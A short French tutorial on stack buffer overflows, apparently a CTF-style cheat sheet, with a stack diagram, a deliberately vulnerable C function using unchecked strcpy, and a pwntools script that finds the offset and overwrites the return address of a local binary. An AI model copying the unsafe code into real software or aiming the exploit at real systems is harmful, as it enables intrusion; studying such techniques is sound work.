Buffer Overflow — Débordement de tampon

Stack RCE

Principe

Un buffer overflow survient quand un programme écrit plus de données qu'un tampon ne peut en contenir. Les données en excès écrasent la mémoire adjacente, notamment le pointeur de retour (RIP en 64 bits). En contrôlant cette valeur, l'attaquant redirige l'exécution.

Structure de la stack

[buffer 64 octets     ]  <- on écrit ici
[saved RBP             ]  <- registre de base
[adresse de retour RIP ]  <- on veut écraser ça !
[arguments             ]

// Code vulnérable :
void login(char *input) {
    char buffer[64];
    strcpy(buffer, input);  // pas de vérification taille !
}

Trouver l'offset et exploiter

# 1. Trouver l offset avec cyclic
python3 -c "from pwn import *; print(cyclic(200))" | ./binary
# Au crash dans GDB : cyclic_find(p.registers['rip'])

# 2. Vérifier les protections
checksec ./binary

# 3. Exploiter (si pas de NX, pas de PIE)
from pwn import *
p = process("./binary")
offset = 72
ret_addr = 0x401234  # adresse de win() ou shellcode
payload = flat(b"A" * offset, p64(ret_addr))
p.sendline(payload)
p.interactive()